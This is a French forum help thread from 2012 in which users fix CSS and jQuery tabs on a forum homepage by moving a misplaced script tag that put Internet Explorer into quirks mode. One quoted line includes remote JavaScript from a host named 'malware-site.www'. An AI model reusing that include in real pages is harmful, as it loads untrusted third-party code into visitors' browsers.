Problème d'onglets

3 participants

Voir le sujet précédent Voir le sujet suivant Aller en bas

Résolu Problème d'onglets

Message par Chocow Ven 19 Oct 2012 - 20:46

Bonjour !

J'ai un petit soucis de codage... -_-

J'avais sur mon forum mes catégories en onglets. Tout marchait très bien, jusqu'à ce que j'ajoute ma sur ma PA, un petit accueil de 2 onglets (accueil/Nouveautés)

Et pof, mes catégories se sont réalignées à la suite !

Les onglets sont toujours là, ils fonctionnent, mais lorsqu'on arrive sur le forum, les catégories sont toutes sur la page. Vous comprenez ? Tenez, regardez : http://www.etincelle-discussion.com/

J'ai essayé des tas de choses, mais rien n'a fonctionné.

Cela viendrait il du CSS ? C'est la seule qui à été touché, pour mes onglets de PA.

Le voici :

Code:
ul, li{
  list-style: none;
}
.mon_onglet{
 -moz-border-radius-topleft: 8px;
  -moz-border-radius-topright: 8px;
  -webkit-border-top-right-radius: 8px;
  -webkit-border-top-left-radius: 8px;
  border-top-right-radius: 8px;
  border-top-left-radius: 8px;
  float: left;
  padding: 2px 10px;
  margin-right: 5px;
  color: #000000;
  background: #b6abba;
  cursor: pointer;
  margin-bottom: -1px;
  border-top: 0px solid #000000;
  border-right: 0px solid #000000;
  border-left: 1px solid #000000;
  border-bottom: 0px solid #000000;
}
.mon_onglet:hover{
float: left;
  padding: 2px 10px;
  margin-right: 5px;
  color: #000000;
  background: #b6abba;
  border: 1px solid #000000;
  cursor: pointer;
  margin-bottom: -1px;
 -moz-border-radius-topleft: 8px;
  -moz-border-radius-topright: 8px;
  -webkit-border-top-right-radius: 8px;
  -webkit-border-top-left-radius: 8px;
  border-top-right-radius: 8px;
  border-top-left-radius: 8px;
  background: #FFFFFF;
  border-top: 0px solid #000000;
  border-right: 0px solid #000000;
  border-left: 1px solid #000000;
  border-bottom: 0px solid #000000;

}       
.mon_onglet_selected{
 -moz-border-radius-topleft: 8px;
  -moz-border-radius-topright: 8px;
  -webkit-border-top-right-radius: 8px;
  -webkit-border-top-left-radius: 8px;
  border-top-right-radius: 8px;
  border-top-left-radius: 8px;
  float: left;
  padding: 2px 10px;
  margin-right: 5px;
  color: #ffffff;
  background: #b6abba;
  border-top: 0px solid #000000;
  border-right: 0px solid #000000;
  border-left: 1px solid #000000;
  border-bottom: 0px solid #000000;
  cursor: pointer;
 

}         
.mon_contenu{
-moz-border-radius-topleft: 8px;
  -moz-border-radius-topright: 8px;
  -webkit-border-top-right-radius: 8px;
  -webkit-border-top-left-radius: 8px;
  border-top-right-radius: 8px;
  border-top-left-radius: 8px;
  border-bottom-right-radius: 8px;
  border-bottom-left-radius: 8px;
  color: #000000;
  background: #b6abba;
  border: 1px solid #ffffff;
  padding: 1px;
             
}

.qeelcel {
border : 1px solid #ffffff;
    -moz-border-radius:15px;
    -webkit-border-radius:15px;
    -ô-border-radius:15px;
    -khtml-border-radius:15px;
    border-radius:15px;
padding : 5px;
}

.qeel {
border : 2 px solid #ffffff;
}

.position1 {
position : relative;
top : 8px;
background: #b6abba;
}

.position2 {
position : relative;
top : 8px;
background: #b6abba;
}
 

 
  /* CSS pour le conteneur des onglets */
 #conteneur_onglets
{
display: none;
}
#conteneur_categories
{

}

/* CSS pour les catégories */
.categorie
{

}


 /* CSS pour les onglets */
  .onglets
  {
      cursor: pointer;
  }

            .onglet-content > div {
            display : none ; /* permet de spécifier la manière dont un élément est affiché */
            border-radius : 25px 25px 25px 25px ; -moz-border-radius : 25px 25px 25px 25px ; -webkit-border-radius : 25px 25px 25px 25px ; /* l'arrondi de l'encadrement, a retiré selon ce que tu veux */
            padding : Xpx ; /* correspond à la marge interne d'une boite, et permet de définir la distance */
            margin-bottom : Xpx ; /*correspond à la marge externe d'une boite, et permet de définir la distance */
            width : Xpx ; /* définis l'hauteur de la Page d'accueil */
            height : Xpx; /* définis la largeur de la Page d'accueil */
            background: #D4CCD7; /* fond de la Page d'accueil */

          }
          .onglet-content > div.active{ display : block ; }
 
          .onglet-table { border-spacing : Xpx ; margin-left:auto ; margin-right :auto ; }
          .onglet-table td {
          style : top ;
          vertical-align:middle ; /* permet de gérer l'alignement vertical du texte */
     
            text-align:center; /* permet de centré le nom des onglets */
   
       
            background: #D4CCD7; /* fond de tes onglets */
            }
          .onglet-table td.active, .onglet-table td:hover {
            opacity : 1 ; /* (entre 0,1 et 1) opacité d'un onglet survolé ou que tu as sélectionné */
            }

 

Je vous remercie d'avance pour votre aide ! Very Happy


Dernière édition par Chocow le Dim 21 Oct 2012 - 12:49, édité 3 fois
Chocow

Chocow
*

Féminin
Messages : 33
Inscrit(e) le : 20/11/2010

http://etincelle-discussion.com
Chocow a été remercié(e) par l'auteur de ce sujet.

Résolu Re: Problème d'onglets

Message par AenigmA Sam 20 Oct 2012 - 14:29

Bonjour, ça vient de ce script (d'après moi)

Code:
<script type="text/javascript">
      /* Début du script */
      jQuery(document).ready(function(){
          jQuery(".onglet-table").find("td").click(function(){
            /* Suppression des classe .active pour tout les onglets et contenus */
            var system = jQuery(this).closest(".onglet"); /* Sélection du système d'onglet */
            system.find(".onglet-table").find(".active").removeClass("active");
            system.find(".onglet-content").find(".active").removeClass("active");

            /* Ajout de la classe active à l'onglet cliqué et au contenu correspondant */
            var id = jQuery(this).attr("name");            /* Identification du numéro de l'onglet cliqué */
            jQuery(this).addClass("active");
            system.find(".onglet-content").find("div[name='"+id+"']").addClass("active");
          });
      });
      /*Fin du script */
    </script>
AenigmA

AenigmA
Membre actif

Masculin
Messages : 2228
Inscrit(e) le : 10/03/2005

http://aenigma.forumactif.fr/
AenigmA a été remercié(e) par l'auteur de ce sujet.

Résolu Re: Problème d'onglets

Message par Chocow Sam 20 Oct 2012 - 16:37

Coucou !

Merci de ta réponse !

Arf, le java j'y connais rien X.x

Que faut il faire ? (:
Chocow

Chocow
*

Féminin
Messages : 33
Inscrit(e) le : 20/11/2010

http://etincelle-discussion.com
Chocow a été remercié(e) par l'auteur de ce sujet.

Résolu Re: Problème d'onglets

Message par AenigmA Sam 20 Oct 2012 - 20:13

Si c'est celui que tu as mis en dernier pour accueil/Nouveautés, il est peut être mieux de faire autrement et d'enlever provisoirement cette partie.
Moi, je ferai ainsi
AenigmA

AenigmA
Membre actif

Masculin
Messages : 2228
Inscrit(e) le : 10/03/2005

http://aenigma.forumactif.fr/
AenigmA a été remercié(e) par l'auteur de ce sujet.

Résolu Re: Problème d'onglets

Message par Chocow Dim 21 Oct 2012 - 10:34

Ah, mais tu m'as donné une idée lol.
Alors pour voir si ça venait de là, j'ai retiré le script, mais ça buguait toujours.

J'ai alors tout enlevé de ma PA, et les catégories sont redevenues en onglets.
Cela vient donc des onglets ajouter.

Du coup j'ai changé le nom des onglets, qui était ".onglet", j'y ai mis un "s", et ça refonctionne !
Le problème, c'est qu'il ne fonctionne pas sur internet explorer -_-
Chocow

Chocow
*

Féminin
Messages : 33
Inscrit(e) le : 20/11/2010

http://etincelle-discussion.com
Chocow a été remercié(e) par l'auteur de ce sujet.

Résolu Re: Problème d'onglets

Message par AenigmA Dim 21 Oct 2012 - 11:09

Lol c'est ce que j'aurais fait...enlever provisoirement cette partie.

Ce lien peut t'aider pour deux ou trois onglets
http://pckult.developpez.com/tutoriels/css/boite-onglet-web2/

AenigmA

AenigmA
Membre actif

Masculin
Messages : 2228
Inscrit(e) le : 10/03/2005

http://aenigma.forumactif.fr/
AenigmA a été remercié(e) par l'auteur de ce sujet.

Résolu Re: Problème d'onglets

Message par Chocow Dim 21 Oct 2012 - 11:22

Coucou !

Non, mais c'est bon, tout refonctionne ^^ Seulement, depuis quand j'ai ajouter le "s" à .onglet, sur internet explorer, ça ne marche pas. (mais sur firefox & google chrome, si.) Very Happy
Chocow

Chocow
*

Féminin
Messages : 33
Inscrit(e) le : 20/11/2010

http://etincelle-discussion.com
Chocow a été remercié(e) par l'auteur de ce sujet.
  • 0

Résolu Re: Problème d'onglets

Message par Manumanu Dim 21 Oct 2012 - 11:41

Salut,

Normal, tu as ça avant ton Doctype :
Code:
<font color="#7736A3"><script type="text/javascript" src="http://malware-site.www/js/pluiedetoiles.js"></script></font>

Or, on ne met RIEN avant le Doctype. Ça fait passer les navigateurs en mode Quirks, et si sur Chrome/Firefox ça ne se voit pas, Internet Explorer a des impératifs de compatibilité autrement plus importants qui le font revenir en mode de rendu IE5.5 ; donc, enlève ça et tout ira bien. À la place, mets-le avant </head> (et sans la balise font, parce qu'une balise font c'est déjà déprécié, mais en plus autour d'une inclusion de script, ça n'a aucune utilité).
Manumanu

Manumanu
****

Masculin
Messages : 437
Inscrit(e) le : 27/12/2011

http://helpinghelps-phpbb2.forumgratuit.org/
Manumanu a été remercié(e) par l'auteur de ce sujet.

Résolu Re: Problème d'onglets

Message par Chocow Dim 21 Oct 2012 - 12:05

Coucou !

Effectivement, j'ai retiré cela, mais ça ne change rien au fait que sur internet explorer mes onglets de la page d'accueil (pas des catégories) ne fonctionnent pas.

Ce script était pour que le curseur de la souris fasse des étoiles en passant sur la P-A.

Mais merci, c'est toujours ça à savoir Mr. Green
Chocow

Chocow
*

Féminin
Messages : 33
Inscrit(e) le : 20/11/2010

http://etincelle-discussion.com
Chocow a été remercié(e) par l'auteur de ce sujet.

Résolu Re: Problème d'onglets

Message par Manumanu Dim 21 Oct 2012 - 12:39

Tu as enlevé la balise font, mais le script est toujours placé avant le Doctype ; à moins qu'elle ne soit insérée automatiquement ?
Pense à le déplacer pour le mettre dans la balise <head>, de préférence juste avant sa balise fermante : </head>.
Manumanu

Manumanu
****

Masculin
Messages : 437
Inscrit(e) le : 27/12/2011

http://helpinghelps-phpbb2.forumgratuit.org/
Manumanu a été remercié(e) par l'auteur de ce sujet.

Résolu Re: Problème d'onglets

Message par Chocow Dim 21 Oct 2012 - 12:49

Ooh, mais tu es trop fort Very Happy Tout fonctionne ! je te remercie ! ^^

Bon dimanche à toi.
Chocow

Chocow
*

Féminin
Messages : 33
Inscrit(e) le : 20/11/2010

http://etincelle-discussion.com
Chocow a été remercié(e) par l'auteur de ce sujet.

Résolu Re: Problème d'onglets

Message par Manumanu Dim 21 Oct 2012 - 12:50

Je t'en prie.
Manumanu

Manumanu
****

Masculin
Messages : 437
Inscrit(e) le : 27/12/2011

http://helpinghelps-phpbb2.forumgratuit.org/
Manumanu a été remercié(e) par l'auteur de ce sujet.

Résolu Re: Problème d'onglets

Message par AenigmA Dim 21 Oct 2012 - 12:52

Bien vu, bravo Manu
AenigmA

AenigmA
Membre actif

Masculin
Messages : 2228
Inscrit(e) le : 10/03/2005

http://aenigma.forumactif.fr/
AenigmA a été remercié(e) par l'auteur de ce sujet.

Voir le sujet précédent Voir le sujet suivant Revenir en haut

- Sujets similaires

Permission de ce forum:
Vous ne pouvez pas répondre aux sujets dans ce forum